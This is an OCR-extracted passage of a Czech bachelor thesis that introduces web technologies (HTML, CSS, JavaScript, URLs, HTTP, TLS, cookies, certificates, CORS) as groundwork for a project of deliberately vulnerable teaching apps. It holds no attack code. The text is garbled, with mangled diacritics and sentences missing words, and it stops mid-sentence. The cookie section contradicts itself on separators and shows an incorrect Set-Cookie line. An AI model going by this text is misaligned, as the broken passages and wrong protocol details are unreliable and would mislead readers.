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Uvod

V poslednich nékolika desitkach let se internet stal nedilnou soucasti nasich
zivotl. Zatimco v pocatcich své existence slouzil pouze k vyméné informaci, ted
je jeho vyuziti mnohem Sirsi. Kdyz se v dneSni dobé rekne internet, vétsinu lidi
napadne, ze diky nému muze komunikovat s prateli pres socialni sité, sledovat
videa na streamovacich platormach nebo nakupovat v internetovych obchodech.
Vétsina z nas vyuziva internet kazdy den, aniz by nad tim jakkoli premyslela.

S rostoucim poctem uzivatell internetu roste i pocet webovych aplikaci. S tim
je spojeny i nartustajici pocet lidi snazich se nedostatky v téchto aplikacich néja-
kym zptisobem zneuzit. Af uz primo itokem na danou aplikaci za tcelem ziskani
citlivych dat jejich uzivatell, nebo vytvorenim falesné aplikace za tic¢elem uziva-
tele obalamutit.

Cilem této prace je predstavit ¢tenatri webové aplikace, jejich potencidlni zra-
nitelnosti a utoky, kterym musi celit. Ma také upozornit na to, zZe ne kazda webova
aplikace je bezchybna, a ze je tteba byt pri jejich pouzivani, i pri pouzivani in-
ternetu obecné, obezretny.

V prvni ¢ésti si vysvétlime zakladni principy fungovani webovych aplikaci
a popiseme si nejcastéjsi zranitelnosti, které se v nich mohou vyskytovat. Vysvét-
lime si také, jakym zptisobem se tyto zranitelnosti daji z pohledu vyvojare resit.
Zamérime se i na to, jak mizeme odhalit zranitelnosti aplikaci z role uzivatele
a jak provést utoky zneuzivajici tyto zranitelnosti.

Druhou casti této bakalarské prace je projekt Vulnerability Presentation Ser-
ver (Vulpes). Projekt Vulpes se skldda z nékolika webovych aplikaci, ve kterych
jsou zamérné ponechany zranitelnosti zminéné v této praci. Ctenaf tak miize oku-
sit nasledky nedostatktl v aplikacich z pohledu uzivatele nebo si popsané ttoky
vyzkouset v praxi z pohledu utocnika.

Nejsou predpokladany zadné predchozi znalosti z oblasti webovych aplikaci.
Povédomi o zakladech fungovani internetu a programovani vsak je vyhodou.

Inspiraci pfi vybéru popisovanych zranitelnosti a utokia byl projekt OWASP
Top Ten (van der Stock a kol., [2023). Jednd se o zebticek deseti nejcastéjsich
zranitelnosti webovych aplikaci, ktery vydava organizace Open Web Application
Security Project (OWASP) Informace a specifika zranitelnosti a tutoka byly cer-
pany taktéz primarné ze zdroji nadace OWASP. Specifikace protokoli a dalsich
technologii byly ¢erpany z dokumentt Request for Comments (RFC), jejich zjed-
nodusené vysvétleni z Mozilla Developer Network (MDN) Web Docs. Zdroje jsou
vzdy uvedeny v textu v prislusnych kapitolach.






1. Webové stranky

1.1 World Wide Web

World Wide Web (WWW) je systém propojenych webovych stréanek, které
jsou dostupné pres internet (Mozilla, 2023b). Pivodné se jednalo pouze o soubor
textovych dokumentii, které bylo mozné si prohlizet a navigovat mezi nimi pomoci
odkazi. Pojdme se podivat, z ¢eho se takova webova stranka sklada.

1.2 HTML

Pro tvorbu webovych stranek se pouziva znackovaci jazyk HyperText Markup
Language (HTML) definovany v HTML Living Standard (WHATWG]| 2023b)).
Dokument napsany v jazyce HT'ML je slozen ze znacek udavajicich vyznam textu
a samotného textu urceného k zobrazeni uzivateli.

Znacka je vzdy uzaviena do ostrych zavorek, mezi kterymi se nachézi jeji na-
zev. Vétsina znacek je parova, ty davaji vyznam ¢asti dokumentu lezici mezi ote-
viraci (<...>) a uzaviraci (</...>) znackou. Neparové znacky (naptiklad <img>)
pouze oznacuji urcity prvek v dokumentu (v tomto pripadé obréazek).

Dokumenty HTML se typicky ukladaji do soubort s ptriponou .html, pfi-

¢emz hlavni stranka se obvykle jmenuje index.html. Jednoduchy dokument mtize
v textové formé vypadat napriklad takto:

<!DOCTYPE html>
<html>
<head>
<title>Nazev stranky</title>
</head>
<body>
<h1>Nadpis</h1>
<p>Text odstavce</p>
</body>
</html>

Dokument je rozdélen do nékolika ¢asti. Prvni fddek je pouze informativniho
charakteru, udava typ dokumentu, v tomto pripadé HTML. Znacka <html> ozna-
cuje zacatek a konec dokumentu, zatimco <head> a <body> ohranicuji hlavicku,
respektive télo dokumentu. V hlavicce se nachazi informace o dokumentu, na-
priklad jeho nazev, kédovani nebo odkazy na dalsi soubory, <title> obsahuje
pravé nazev stranky, ktery se zobrazuje v zalozce prohlizece. Nakonec prichézi
telo dokumentu, které je ve znacce <body>. Télo v nasem pripadé obsahuje jeden
nadpis (<h1>) a jeden odstavec (<p>).



1.3 CSS + JavaScript

Dokumenty HTML v ¢isté podobé jsou velmi jednoduché a nevypadaji pri-
lis dobte. Pro vylepseni vzhledu se postupem casu zacaly pouzivat kaskddové
styly — Cascading Style Sheets (CSS). Definici styli muzeme zapsat primo k da-
nému prvku jako hodnotu atributu style nebo do hlavicky dokumentu do znacky
<style>. Obvykle se ale pouzivaji samostatné soubory s priponou .css.

Pomoci CSS mizeme v dokumentu vybrat urcité prvky podle nazvu znacky
nebo identifikdtoru a nastavit jim barvu, velikost pisma, zarovnani a dalsi vlast-

nosti. Tato ukazka nastavi barvu pozadi stranky na svétle modrou a pismo na
Arial.

body {
background-color: lightblue;
font-family: Arial, Helvetica, sans-serif;

Ackoliv kaskadové styly umoznuji pridat do dokumentu HTML celou skalu
grafickych prvkl a vyrazné vylepsuji vzhled, stale nedélaji webovou stranku in-
teraktivni. To se zméni az v pripadé pouziti JavaScriptu.

JavaScript je programovaci jazyk, s jehoz pomoci miizeme dokument ovladat.
Umoznuje naptiklad ménit obsah stranky bez nutnosti jejitho znovunacteni, ménit
styly jednotlivych prvka nebo zobrazovat dialogova okna. Stejné jako CSS mii-
zeme JavaScript zapsat primo do dokumentu, k tomu slouzi znacka <script>.
Nasledujici ukazka zvysi hodnotu v poli counter o jedna.

<script>
var counter = document.getElementById("counter");
counter.value = parselnt(counter.value) + 1;
</script>

Moznosti umisténi JavaScriptu primo do dokumentu HTML se da zneuzit
pro ttok typu Cross-Site Scripting (XSS). Obvykle se vSak pouzivaji samostatné
soubory s priponou . js.

Nyni kéd z predchozi ukazky vlozime do funkce, abychom ho mohli vykonat
vickrat, a jeji spusténi navazeme na stisk tlacitka button.

function increment() {
var counter = document.getElementById("counter");
counter.value = parselnt(counter.value) + 1;

}

document.getElementById ("button") .addEventListener("click", increment);

Priradit k tlacitku funkci mtzeme i pfimo v dokumentu HTML pomoci atri-
butu onclick tlacitka.



<button id="button" onclick="javascript:increment ()">+</button>

Na samostatné soubory styli a skripti se nesmime zapomenout odkézat - na
styly znackou <1ink>, na skripty pomoci <script> s atributem src.

<head>
<title>Nazev stranky</title>
<link rel="stylesheet" href="style.css">
<script src="script.js" defer></script>
</head>

Pozor si musime dat na to, zZe je dokument zpracovavan postupné a skripty
jsou vykonany ihned po nacteni. To muze predstavovat problém u skriptt nacha-
zejicich se v hlavicce, které se snazi ovladat jesté neexistujici prvky. Do znacky
<script> jsme proto pridali atribut defer, ktery spusténi pozdrzi az do nacéteni
celého téla HTML.

Takovyto dokument bychom si mohli u sebe na pocitaci ulozit do souborii
index.html, style.css a script. js. Po rozkliknuti index.html si webovy pro-
hlize¢ soubory otevie a zobrazi nam jejich obsah ve formé webové stranky. Co
kdybychom chtéli nds dokument zptistupnit i ostatnim?

1.4 Webovy Server

Pro zpristupnéni stranek ostatnim lidem na internetu je potteba, abychom
spustili webovy server. To je program bézici na pocitaci pripojeném k internetu,
jehoz tkolem je zpracovani pozadavkul klientii. Klientem je typicky webovy pro-
hlize¢, ktery od svého uzivatele dostal za kol zobrazit danou webovou stranku.
Prohlize¢ tedy zasle serveru pozadavek na dany dokument, server onen soubor
najde a odesle ho zpét klientovi.

Pokud prijaty dokument obsahuje odkazy na dalsi souvisejici soubory (styly,
skripty nebo obrazky), prohlize¢ zasle serveru pozadavky i na tyto soubory. Na-
konec je jako webovou stranku zobrazi uzivateli. Zbyva nam si rozmyslet, jak
prohlize¢ zjisti, ke kterému serveru se ma pripojit.

1.5 URL

K identifikaci webové stranky na internetu slouzi Uniform Resource Locator
(URL), ¢asto oznacovana jako webova adresa. Jeji strukturu popisuje Berners-Lee
a kol.| (2005)), my si ji vysvétlime na nasledujicim prikladu.

https://example.com/path/to/document?search=term#fragment




Na uplném zacatku URL se nachazi schéma, které urc¢uje, pomoci jakého pro-
tokolu budeme se serverem komunikovat (https). Néasleduje doména udavajici,
k jakému serveru se chceme pfipojit (example.com). Za doménovym jménem se
nachézi cesta k dokumentu, jenz od serveru pozadujeme (/path/to/document).

Za cestou se nachézeji volitelné parametry, kterymi muzeme pozadavek jesté
vice upfesnit (?search=term). D4 se jich vyuzit napriklad pri vyhledavani. A ko-
necné fragment slouzi k identifikaci konkrétni ¢asti dokumentu (#fragment). Pro-
hlize¢ se typicky na danou c¢ast po zobrazeni stranky posune.

Pri zadavani URL do adresni fadky moderniho prohliZzec¢e uz schéma casto
vynechavame — staci zadat pouze doménu a cestu, tedy mail.com/inbox, pro-
hlize¢ automaticky doplni https (pripadné http) sam. O protokolech si povime
vice v dalsi kapitole.

1.6 Doménové jméno

Samotné doménové jméno je slozeno z vice ¢asti, které jsou oddéleny teckami.
Posledni ¢ast se nazyva doména nejvyssiho fadu — Top Level Domain (TLD).
Pred TLD se nachazi doména druhého radu, tu si pii registraci nejcastéji budouci
drzitel voli. Dalsimi teckami mohou byt jesté oddéleny tzv. poddomény.

Uplné prvnf ¢dst doménového jména piivodné oznadovala server, kterym mél
byt pozadavek zpracovan. Proto jsme prii brouzdani po internetu mohli ¢asto na-
razet na URL s predponou .www oznacujici webovy server. Neni to ale pravidlem,
dnes se na vétsinu webovych stranek dostaneme i bez ni.

Domény nejvyssiho fadu jsou rozdéleny do nékolika skupin. Generické TLD
jsou urcené pro pouziti kdekoliv na svété (.com, .org, .net), sponzorované TLD
maji specifické urceni (.gov, .edu, .mil).

Nejvetsi skupinu tvori narodni TLD, které jsou urcené pro pouziti v jednotli-
vych zemich (.de, .uk). Jejich pridélovani ma na starosti spravce domény dané
zemé. Ten miuze registraci domén druhého fadu povolit pouze svym obcantim
a institucim jako tfeba Kanada (.ca) (Canadian Internet Registration Autho-
rity, 2008), povolit ji komukoli jako v CR (.cz) (CZ.NIC, [2018), nebo ji omezit
jinak. Prikladem je Slovensko (.sk) (SK-NIC, 2023), které registraci umoznuje
institucim z Evropy.

TLD tedy viitbec nemusi vypovidat o tom, kde se server obsluhujici danou

Vv

svou TLD .tv, kterou si oblibily televizni spole¢nosti.

1.7 Dynamické stranky

Doposud jsme se serverem komunikovali pouze tim zptisobem, Ze jsme si vyza-
dali obsah né¢jakého dokumentu a server nam ho poslal. Pokud server jenom posila
dokumenty, které jsou predem pripravené, bude jejich obsah porad stejny. Ackoliv
mohou byt takové stranky tvorené dokumenty HTML, styly CSS a skripty velmi
pohledné a interaktivni, porad se jedna o statické stranky, které postradaji onu

10



zasadni dynamicnost webovych aplikaci.

Ta se dostavi v situaci, kdy na serveru spustime program, ktery si bude ukladat
informace o pozadavcich, a v zavislosti na téchto datech bude klientiim generovat
webové stranky, ze kterych potom uzivatelé budou moci data zobrazovat, pridavat
je nebo ménit. Takovému programu rikame webova aplikace.
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2. Protokoly

2.1 HTTP

Jak jsme si jiz tekli v predchozi kapitole, souc¢asti URL je i schéma, které
urcuje protokol k pouziti pii komunikaci se serverem. Ke komunikaci s webovymi
servery se nejcastéji pouziva HyperText Transfer Protocol (HTTP). Jedna se
o textovy protokol, komunikace mezi klientem a serverem tedy probiha formou
textovych zprav (Fielding a kol., 2022). Samotny pienos dat probihd pomoci
protokolu Transmission Control Protocol (TCP).

TCP zajistuje spolehlivé komunikacni spojeni klienta se serverem. Pri prenosu
dat muze dojit k jejich ztraté, TCP zajistuje, Ze ztracend data budou znovu
odeslana. Mimo jiné se stara i o to, aby zpravy prichazely v poradi, v jakém byly
odeslany. Po ustanoveni spojeni mezi klientem a serverem zustava kanal otevieny,
dokud jej néktera ze stran neukonci, tak je mozné posilat vice zprav bez nutnosti
opakovaného navazovani spojeni.

Pojdme si nyni ukézat, jak mize vypadat jednoduchy pozadavek HTTP ode-
slany klientem.

GET /inbox HTTP/1.1
Host: mail.com
Accept: text/html

Pozadavek HTTP zacind radkem s metodou (GET), cestou (/inbox) a verzi pro-
tokolu (HTTP/1.1). Nasleduji fadky s hlavickou, ktera obsahuje dalsi informace
o pozadavku. V nasem pripadé je dvouradkova. Jeji atribut Host slouzi k urceni
domény, na kterou se mé pozadavek odeslat, a je povinny. Je ho totiz zapotiebi
v pripadé, ze webovy server obsluhuje vice domén. Atribut Accept urcuje typ
obsahu, ktery klient od serveru ocekava. V nasem pripadé se jednd o textovy
dokument ve formatu HTML.

Server odpovi na pozadavek rovnéz textovou zpravou.

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1234

<IDOCTYPE html>
<html>

</html>

Prvni fddek obsahuje verzi protokolu (HTTP/1.1), stavovy kéd (200) a popis
stavu (0K). Na dalsich tadcich se opét nachazeji hlavicky obsahujici dodate¢né
informace o odpovédi. Za prvnim prazdnym radkem najdeme télo odpovedi —
dokument HTML, ktery ndam server poslal. Na dalsi soubory (napf. styly nebo
obrézky) se musime serveru dotdzat zvIast.

13



2.2 HTTPS

Protokol HTTP postrada jednu zasadni véc, ktera je v dnesni dobé nezbytna —
zabezpeceni. VSechny zpravy jsou odesilany ve formé cistého textu, takze je muze
precist kdokoliv, kdo zpravu — at uz omylem nebo timyslné — zachyti. HyperText
Transfer Protocol Secure (HTTPS) tento problém fesi pomoci sifrovani. Komu-
nikace podle protokolu HTTPS probiha prakticky stejné jako u HT'TP, rozdil je
pouze v pridaném kroku ustanoveni spojeni a v tom, ze jsou vSechny dalsi zpravy
zasifrovany.

Pro sifrovani a navazani spojeni je pouzit protokol Transport Layer Security
(TLS) (Rescorlay, 2018]). Jeho tcelem je zabranit odposlechu a tpravé zprav treti
stranou. Pied samotnou komunikaci spolu klient a server navazou spojeni pomoci
tzv. handshake, pri kterém se domluvi na zptsobu a parametrech Sifrovani zprav.
V dnesni dobé se pravdépodobné dohodnou na vytvoreni sdileného tajemstvi po-
moci Diffie-Hellmanovy vymeény klica (DHE). Jde o metodu vytvoreni spolecného
klice, na kterém se mohou obé strany domluvit i pres nezabezpeceny kanal.

Pribéh handshake si nyni ve zjednodusené podobé popiseme. Budeme pred-
pokladat, ze béhem néj nenastanou zadné chyby.

Klient zahdji komunikaci zaslanim avodni zpravy (ClientHello). Ta obsahuje
seznam klientem podporovanych verzi TLS, seznam podporovanych Sifrovacich
algoritmi a ndhodné vypadajici ¢islo (key share), kterym klient pfispéje k vy-
tvoreni spole¢ného tajemstvi. Server odpovi svou tvodni zpravou (ServerHello)
se zvolenou verzi TLS, vybranymi parametry Sifrovani a svym vlastnim key share.

Server ke své ivodni zprave jesté pripoji svij certifikat. Ten poslouzi klientovi
k ovéreni jeho identity a mimo jiné obsahuje verejny kli¢ serveru. Aby server
klienta presveédcil, ze je opravdu vlastnikem certifikatu a Ze se za vlastnika pouze
z ostatnich casti ServerHello podepsana soukromym klicem serveru. S pomoci
verejného klice z certifikdatu pak klient ovéri, ze je podpis platny a ze server je
tim, za koho se vydava.

Po vymeéné tvodnich zprav uz maji obé strany vsechny potfebné informace
pottebné pro konstrukci sdileného tajemstvi. Jeho hodnotu spocitaji pomoci sou-
kromé casti své key share a obdrzené key share protistrany. Toto tajemstvi poté
vyuziji pro vygenerovani sifrovaciho klice, ktery budou béhem komunikace pou-
Zivat.

Timto zpusobem se zajisti tzv. dopfednd bezpecnost (forward secrecy). Diky
generovani nového Sifrovaciho klice pro kazdé spojeni je zajisténo, ze kompromi-
tace soukromého klice serveru nemuze vést k odhaleni obsahu starsi komunikace.
Po ukonceni handshake si protistrany zaslou zpravu Finished a zacnou vsechny
své zpravy Sifrovat.

Kromé sifrovani je potieba zpravy také podepisovat, aby se predeslo jejich
pripadné upravé treti stranou bez povsimnuti. Za timto ticelem je na konec zpravy
pridan Message Authentication Code (MAC). Ten je spocitan ze zahashovaného
obsahu zpravy, ktery se zkombinuje se sdilenym tajemstvim. Pti prijeti zpravy je
MAC vypocitan znovu a porovnan s obdrzenou hodnotou. Nyni uz klient a server
komunikuji pomoci klasického HT'TP protokolu fungujicim nad TLS.
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2.3 Stavové kody

Stavové kody jsou cisla v rozmezi 100-599, nachazeji se na zac¢atku odpovedi
serveru a signalizuji, jak nas pozadavek dopadl. V odpovédi serveru jsou kody
doplnény jesté o jejich textovy popis. Nebudeme si je detailné rozebirat vsechny,
zminime si jich pouze nékolik zdsadnich. Podle toho, kterou ¢islici maji na prvnim
misté, se déli do nékolika skupin (Fielding a kol., 2022, kap. 15).

Informativni kédy zacinajici na cislici 1 jsou odesilany serverem pred do-
koncenim zpracovani pozadavku. Zastupcem této skupiny je stavovy kod 100
Continue, kterym server potvrzuje, ze uspésné zpracoval prvni ¢ast pozadavku
a ma v planu pokracovat.

Uspéchové kédy zaéinajici na &slici 2 oznamuji, Ze pozadavek byl Gspésné
zpracovan. Nejcastéji bychom méli narazit na kéd 200 OK, ktery znamend, ze
pozadavek byl tispésné zpracovan. Kéd 204 No Content ndm oznamuje, zZe server
pozadavek Uspésné zpracoval, ale nevraci nam zadna data.

Presmérovaci kody zac¢inaji na ¢islici 3 a oznamuji, Ze nas server presméroval
na jinou adresu. Jednim diivodem miize byt trvalé presunuti obsahu na jinou ad-
resu (301 Moved Permanently / 308 Permanent Redirect). Druhym divodem
je presunuti docasné (302 Found / 307 Temporary Redirect).

Kédy Client Error zac¢inaji ¢islici 4 a tikaji, ze server nas pozadavek nemohl
zpracovat kvili chybé na nasi strané. Nejznaméjsim kédem je 404 Not Found,
ktery znamena, ze server nenasel stranku, kterou jsme po ném chtéli. 405 Method
Not Allowed naopak znamenad, ze server nasel pozadovanou stranku, ale nepod-
poruje metodu, kterou jsme chtéli pouzit.

Posledni skupinou jsou koédy Server Error zacinajici ¢islici 5. Narozdil od
skupiny 4xx davaji najevo, ze chyba nastala na strané serveru. Nejcastéji narazime
na kéd 500 Internal Server Error, ktery server vrati v pripadé, ze narazil na
necekanou chybu.

2.4 Metody HTTP

Nedilnou soucasti pozadavku HTTP je uz zminovana cesta URL a nazev po-
uzité metody. Pomoci metody fikame serveru, s jakym zamérem pozadavek pro-
vadime a jaky ocekavame vysledek.

Metodou GET se provadi pozadavky s tcelem ¢teni dat spojenych s danou ces-
tou. Pozadavkem GET /users tedy fekneme serveru, Ze si chceme precist seznam
vSech uzivateli. Po zadani URL do adresniho fadku prohlizece se pouzije prave
tato metoda GET, stejné jako pfi kliknuti na odkaz na jinou stranku. S touto
metodou souvisi i metoda HEAD, ktera vsak misto celé odpovédi vrati pouze jeji
hlavicku.

Metoda POST slouzi k pridani nové informace na server. Pomoci POST /users
bychom naptiklad serveru sdélili, ze chceme vytvorit nového uzivatele. Jeho data
predame serveru v téle pozadavku. Pravé tato metoda je nejcastéji pouzivand pri
odesilani formulaii, neni vsak jedinou moznosti.

Metodou PUT dame najevo, ze chceme informace upravovat. Pozadavkem PUT
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/users/123 serveru rekneme, ze chceme upravit data uzivatele s identifikatorem
123, samotna data budou opét v téle pozadavku.

Konecné metodou DELETE sdélime serveru, ze danou informaci minime sma-
zat. DELETE /users/123 by tedy uzivatele s identifikdtorem 123 mélo odstranit.
Existuji jesté dalsi metody, ty uz ale nejsou pouzivané tak casto.

Za zminku jesté stoji, ze podle dokumentace (Fielding a kol., 2022, 9.2.1)
nesmi mit metody GET a HEAD zadny vliv na data na serveru a jejich opakované
volani musi mit stejny vysledek. Téchto vlastnosti se vyuziva pii cachovini —
ulozeni odpovédi serveru pro pripad, ze byl pozadavek vykonan znovu.

S cachovdanim souvisi také hlavicka Cache-Control, kterd ik, jak dlouho
smi byt odpovéd ulozena. Poté, co jeji platnost vyprsi, miuze klient provést tzv.
podminéeny poZadavek GET. Tomu prida hlavicku If-Modified-Since obsahujici
termin vyprseni platnosti odpovédi. Na tu server odpovi bud kédem 304 Not
Modified potvrzujici platnost staré cache, nebo novou odpovédi s kédem 200 0OK.

2.5 Cookies

Soucasti hlavicek pozadavki i odpovédi mohou byt tzv. cookies. To jsou malé
kousky informaci, které si server muze ulozit do prohlizece uzivatele. V dnesni
dobé mame nejspis cookies spojené se sledovanim uzivatelské aktivity a poskyto-
vanim personalizovanych reklam, mohou vsak slouzit i ke zlepseni uzivatelského
zazitku a poskytnuti relevantniho obsahu na zakladé preferenci.

Cookies maji strukturu slovniku — obsahuji klice a k nim pfifazené hodnoty.
Jeden takovy slovnik je typicky platny pro jednu doménu. To, Ze si do paméti
naseho prohlizece server chce ulozit cookies, se dozvime z hlavicky odpovédi na
nas pozadavek.

HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8
Content-Length: 1234

Set-Cookie: name=John, surname=Doe

Kdyz prohlize¢ obdrzi tuto odpovéd, ulozi si cookies do paméti. Pii kazdém
dalsim pozadavku na tuto doménu potom cookies prida do hlavicky. Server pri
obdrzeni takového pozadavku muze cookies vyuzit. Dejme si pozor na oddélovac
cookies, ktery je ruzny pro pozadavky (,) a odpovédi (;).

GET /inbox HTTP/1.1
Host: mail.com
Cookie: name=John; surname=Doe

V cookies se ¢asto ukladaji informace o preferencich uzivatele, napriklad jazyk
stranky, nastaveni zobrazeni, nebo udaje slouzici k jeho identifikaci. Cookies si
vsak klient mtize sdm upravovat, na identifikator v textové podobé se tedy neda
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plné spolehnout — s vyjimkou toho, kdyz data pred ulozenim do cookies zasifru-
jeme. Alternativné se da k identifikaci pouzit treba tzv. Session ID, coz je dlouhy,
nahodné generovany retézec znaki, ktery je uzivatelem prakticky neuhodnutelny.

Pojdme si nyni podle popisu Mozilla| (2023a) ukazat néjaké znacky, které kon-
krétnim cookies muzeme nastavit. Cookies jsou normalné pridruzeny k doméné,
ze které prisel pozadavek na jejich ulozeni. Pokud server chce, aby klient danou
cookie pripojoval i k pozadavkiim na jiné domény a poddomény, muze pouzit
atribut Domain.

Napriklad kam.mff . cuni.cz muze nastavit Domain=.mff.cuni.cz, ¢imz kli-
entovi fekne, ze ma danou cookie pripojovat i k pozadavkiim na mff.cuni.cz
a jeji poddomény. Server by také mohl nastavit Domain=.cuni.cz, coz by zpi-
sobilo, ze cookie bude pripojovana ke vsem pozadavkiim na cuni.cz. Co uz vsak
serveru neprojde, je nastaveni Domain=. cz, jelikoz .cz je doménou prvni arovneé.
Server je toho samozfejmé schopen, ale rozumné implementovany prohlize¢ by
takovouto cookie neprijal.

Problém nastane u pseudoTLD. To jsou domény druhé trovné, které vsak
prakticky vystupuji jako TLD. Prikladem takovych je .co.uk nebo .com.au,
ve kterych je koncovym uzivatelim umoznéna registrace az domén treti drovneé,
napt. example.co.uk. To predstavuje riziko pro cookies. Server example.co.uk
by mohl nastavit Domain=.co.uk, ¢imz by se cookie pripojovala ke vSem poza-
davkiim na co.uk. Z hlediska prohlizece se jedna o doménu druhé drovné, cookie
by proto prijal.

Tomuto bezpe¢nostnimu riziku se snazi zabranit Public Suffix List (Mozilla
Foundation), 2022). Jednd se o seznam vSech znamych pseudo-TLD, ktery je pru-
bézné aktualizovan. Moderni prohlizece tento seznam pouzivaji pti rozhodovani,
zda danou cookie ptrijmou. Misto kontroly toho, Ze Domain neni TLD se jednoduse
podivaji, jestli se nenachazi v tomto seznamu.

Zatim jsme se bavili pouze o cookies prvni strany, tedy takovych cookies, které
pochéazi z domény aktualni stranky. Nemusi tomu tak vsak byt vzdy. Typickym
prikladem je nacitani reklamnich bannert z jinych domén, potom jde o cookies
treti strany. Tyto cookies jsou pak odesilany serveru poskytujicimu reklamu ze
vSech stranek, které tuto reklamu zobrazuji. Toho se da vyuzit k sledovani uziva-
telt napri¢ riznymi weby.

Cookies mohou byt tzv. Session cookies, které jsou platné pouze do doby, nez
uzivatel zavie okno prohlizece, nebo Persistent cookies, které mohou platit na
dobu neurcitou. Pokud chceme, aby cookie ztstala platna i po skonceni relace,
musime ji pomoci atributu Expires nastavit dobu platnosti. Atribut Path ome-
zuje, na jaké cesty se cookie vztahuje. Znacka HttpOnly znamend, Ze cookie neni
dostupna z JavaScriptu, ¢imz se znacné snizuje riziko utoku typu XSS. Atribut
Secure Tika, Ze cookie se ma prenaset pouze pres HTTPS.

Set-Cookie: name=John; HttpOnly; Expires=Wed, 21 Oct 2020 07:28:00 GMT

Zpozornét musime pii vyuziti cookies a cache zaroven. Zejména u stranek, na
které je potfeba se prihlasit, je nutné, aby se data do cache neukladala. Toho
lze docilit zakazanim cache pomoci hlavicky Cache-Control: no-store, nebo
oznacenim obsahu stranky za zavisly na cookies pomoci hlavicky Vary: Cookie.
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2.6 Certifikaty

Zminili jsme, Ze server pri navazovani spojeni k tvodni zpravé pripoji svij
certifikat. Certifikat slouzi k ovéreni identity serveru, prakticky je to jeho prikaz
totoznosti. Brani provedeni titoku typu Man in the Middle (MITM), pfi kterych
mezi klientem a serverem stoji itoc¢nik, jenz odposlouchava, upravuje a preposila
jejich komunikaci.

Soucasti certifikdtu jsou informace o jeho drziteli — doménové jméno, pro
které byl vydan, a volitelné néjaké dalsi idaje. Dale jsou v certifikdtu casové
udaje o jeho platnosti, které jsou doplnény o jméno Certifikac¢ni autority (CA),
ktera certifikat vydala. Nakonec v certifikdtu nesmi chybét jeho digitalni podpis
— vSechny predchozi informace v certifikatu zasifrované privatnim klicem CA.

Nasledujici ukazka je certifikat serveru www.mff.cuni.cz.

Certificate:
Version: Version 3
Serial Number: 73:0F:07:1F:F1:A2:36:C7:1A:7D:2F:DC:5E:C5:63:73
Signature Algorithm: PKCS #1 SHA-384 With RSA Encryption
Subject:
Country: CZ
State/Province: Praha, Hlavni mésto
Organization: Univerzita Karlova
Common Name: www.mff.cuni.cz
Issuer:
Common Name: GEANT OV RSA CA 4
Organization: GEANT Vereniging
Country: NL
Validity:
Not Before: Tue, 18 Apr 2023 00:00:00 GMT
Not After: Wed, 17 Apr 2024 23:59:59 GMT
Subject Public Key Info:
Algorithm: PKCS #1 RSA Encryption
Key Size: 2048
Exponent: 65537
Modulus: BC:B8:AB ...

Jak pri navazani spojeni klient ovéri platnost certifikatu serveru? Prohlizece
maji prednastaveny seznam vefejnych klicti zndmych CA. Pti prijeti certifikatu
zkontroluje, zda opravdu patii této doméné, a podiva se, ktera CA certifikat vy-
dala. Pokud ji prohlize¢ zn4, pouzije jeji verejny kli¢ k ovéreni digitalniho podpisu.
Kdyz je podpis platny, je vSe v poradku a prohlize¢ si muze byt jisty platnosti
celého certifikatu.

Jak ale certifikaty brani dtokim Man in the Middle? Nemohl by ttoc¢nik
poslat klientovi platny certifikat serveru? Urcité mohl, certifikat serveru je verejné
dostupny a klient ho vyhodnoti jako platny. To ale tito¢nikovi nepomuiize. Nasledné
je totiz pri domluvé na spolecném Sifrovacim kli¢i pouzit verejny kli¢ serveru.
K rozsifrovani komunikace by potom ttoc¢nik potieboval znat privatni kli¢ serveru,
ktery vsak nema.
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Ve skutecnosti vSak server pravdépodobné nebude mit certifikdt podepsany
primo néjakou CA znamou prohlizeci. Misto jednoho certifikatu se tak bude muset
prokazovat tzv. fetézcem certifikattl (Certificate chain). Retézec certifikati je ta-
kova jejich posloupnost, ve které je zarucena duvéryhodnost jednoho z nich, pravée
pokud je zarucena divéryhodnost toho predchoziho. Tento fetézec umoznuje ove-
feni platnosti koncového certifikatu webové stranky, aniz by musel byt podepsan
pfimo kofenovou autoritou (Root CA), mezi nimi se mohou nachézet dalsi auto-
rity (Intermediate CA). Kdyz webovy server zasild svuj certifikat prohlizeci, zasle
s nim i cely tento Tetézec certifikatii zacinajici u jeho vlastniho a koncici u toho
korenového.

Nasleduje ukazka tetézce certifikatl serveru www.mff.cuni.cz.

USERTrust RSA Certification Authority  (Root CA)
GEANT OV RSA CA 4 (Intermediate CA)
www.mff.cuni.cz (Server certificate)

Webova stranka www.mff . cuni.cz ma svij certifikat, ktery byl podepsan au-
toritou GEANT. Ta ma zase svuj certifikat, ten byl podepsan korenovou autoritou
USERTrust. USERTrust si svij certifikdt vydala sama, ma tedy tzv. self-signed
certifikat. Aby se tomuto typu certifikdtu dalo divérovat, musi byt predem na-
hran v prohlizeci, coz u kofenovych autorit plati.

Identitu serveru klient ovéri postupné. Nejprve zkontroluje, Ze je koncovy cer-
tifikat samotného serveru opravdu podepsan deklarovanou autoritou. Poté se pro-
hlize¢ ujisti, ze je certifikat této autority podepsan korenovou autoritou. Tuto uz
prohlize¢ zna, protoze je ulozena v jeho seznamu duvéryhodnych CA. Pokud je
kterykoli krok v tomto procesu neplatny (napiiklad pokud néktery z certifikdt
vyprsel, byl odvolan, nebo pokud podpis nesouhlasi), prohlize¢ povazuje cely Te-
tézec za neplatny a vraci chybu, zZe server neni divéryhodny.

2.7 Cross-Origin Resource Sharing

Dalsim bezpecnostnim opatienim, které se tykda HTTP, je tzv. Same-origin
policy. To je nastaveni prohlizece, ve kterém nechava Javascript odesilat pouze
pozadavky na doménu, ze které pochazi (Origin). Aplikace na strané klienta je
tedy schopné odesilat pozadavky pouze na sviij server. V modernich aplikacich
se vsak casto hodi, aby byly pozadavky napti¢ doménami umoznény. K tomu
slouzi Cross-Origin Resource Sharing (CORS) definovany ve Fetch Living Stan-
dard (WHATWG, 2023a)).

Pro zacatek je potreba zminit, ze se CORS netyka dokumentu HTML, veskeré
pozadavky primo z néj (nacteni obrazku nebo styld, odeslani formulare, atd.)
jsou povoleny. CORS blokuje pouze pozadavky odesilané Javascriptem s nékolika
vyjimkami. Témi jsou metody GET a HEAD, jelikoz nesmi mit zadny vedlejsi efekt,
a pozadavky POST, které by se daly vykonat pomoci HTML formulare.

Jak probiha komunikace mezi klientem a serverem, kdyz je CORS povolen?
Klient ke svému pozadavku prid4 hlavicku Origin s doménou, ze které pochézi.
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Server muze pozadavek bud zamitnout a vratit chybovou hlasku, nebo jej pri-
jmout nastavenim hlavicky Access-Control-Allow-Origin na hodnotu Origin
